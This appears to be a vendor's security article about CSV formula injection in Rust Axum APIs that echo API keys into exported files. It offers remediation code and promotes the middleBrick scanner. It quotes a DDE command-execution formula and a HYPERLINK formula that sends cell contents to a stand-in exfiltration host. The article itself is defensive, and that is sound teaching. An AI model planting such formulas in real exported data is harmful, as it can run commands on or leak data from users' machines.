Formula Injection in Axum with Api Keys

Formula Injection occurs when user-controlled data is interpreted as a formula by downstream systems such as spreadsheet software, CSV parsers, or reporting tools. In an Axum-based API, this typically arises when an endpoint exports or generates tabular data (for example, CSV or Excel) and embeds user-supplied values directly into cells without sanitization. If the API also uses Api Keys for access control, the risk pattern combines authentication with unsafe data handling.

Consider an endpoint that generates a CSV report of financial transactions and identifies the requester by their Api Key. If the Api Key is reflected in a cell value and the client opens the file in a spreadsheet application, a formula such as =cmd|' /C calc'!A0 could execute when the sheet opens. Axum handlers that write raw strings into CSV rows without escaping or encoding enable this path. For example, a handler might serialize a struct containing the Api Key into CSV using a naive formatter that does not escape leading equals signs, plus signs, or at-signs.

Attackers can also probe endpoints that accept an Api Key as a query or header parameter and return data used in downstream aggregation tools. A crafted payload like 1+2 or =HYPERLINK("https://exfil.example.com/"&A1) may not affect the API itself, but it corrupts the semantic intent of exported files and can trigger unintended behavior in client-side software. Because the API relies on Api Keys for identification, the exposure often reveals which keys are valid through differences in error messages or rate-limiting responses, aiding further reconnaissance.

In a typical Axum stack, routes are composed with extractors such as Query or Header. If these extractors pass user-facing values directly into a CSV generation routine, the attack surface expands. A common anti-pattern is to place an Api Key into a response field for debugging or traceability, inadvertently creating a vector for formula injection when the response is consumed in spreadsheet tools. The vulnerability is not in Axum’s routing logic, but in the composition of extractors, serializers, and data formatting downstream.

Because middleBrick performs unauthenticated, black-box scanning, it can detect endpoints that reflect Api Key-like values in downloadable data formats and flag missing output encoding. Findings include severity-ranked guidance on sanitizing data at the boundary, avoiding reflection of sensitive identifiers in exported files, and applying context-aware escaping for CSV, JSON, and Excel outputs.

Remediation focuses on strict separation of authentication metadata from business data and context-aware serialization. Do not embed raw Api Keys in exported content; instead, use opaque identifiers or mappings stored server-side. When identifiers must be included, apply escaping and encoding based on the target format.

For CSV output in Axum, use a dedicated CSV writer that escapes special characters. The csv crate provides safe serializers. Example of unsafe code to avoid:

let csv = format!("key,balance\n{},100", api_key); // Unsafe: direct string interpolation

Replace with a structured writer:

use csv::Writer;
let mut wtr = csv::Writer::from_writer(vec![]);
wtr.write_record(&["key", "balance"])?;
wtr.write_record(&["REDACTED_KEY", &balance.to_string()])?; // Do not write raw api_key
let data = wtr.into_inner()?;

If you must include an identifier for traceability, map the Api Key to an internal, non-sensitive token and pass that token to the export logic:

let token = lookup_token(&api_key); // server-side mapping
wtr.write_record(&["session", &token.to_string()])?;

For JSON responses, ensure that sensitive fields are omitted or masked. Using Axum extractors, avoid echoing the Api Key in the response body:

use axum::{routing::get, Json, Router};
use serde::{Deserialize, Serialize};

#[derive(Deserialize)]
struct ApiKeyInput {
    api_key: String,
}

#[derive(Serialize)]
struct SafeResponse {
 session_id: String,
// Do not include raw api_key
}

async fn handler(Json(payload): Json<ApiKeyInput>) -> Json<SafeResponse> {
    let session_id = generate_session_id(); // deterministic, non-sensitive
    Json(SafeResponse { session_id })
}

Additionally, apply input validation to reject suspicious values in identifiers. For example, reject Api Key values that contain formula-like prefixes if they are not expected by design. Combine this with rate limiting and audit logging to detect probing behavior. middleBrick’s LLM/AI Security and Input Validation checks can surface patterns where Api Key-like values are reflected in outputs, helping you prioritize fixes.

Finally, document and enforce data handling policies that prevent sensitive authentication artifacts from appearing in client-facing formats. Use the middleBrick Dashboard to track scan results over time and the Pro plan’s continuous monitoring to catch regressions before they reach production.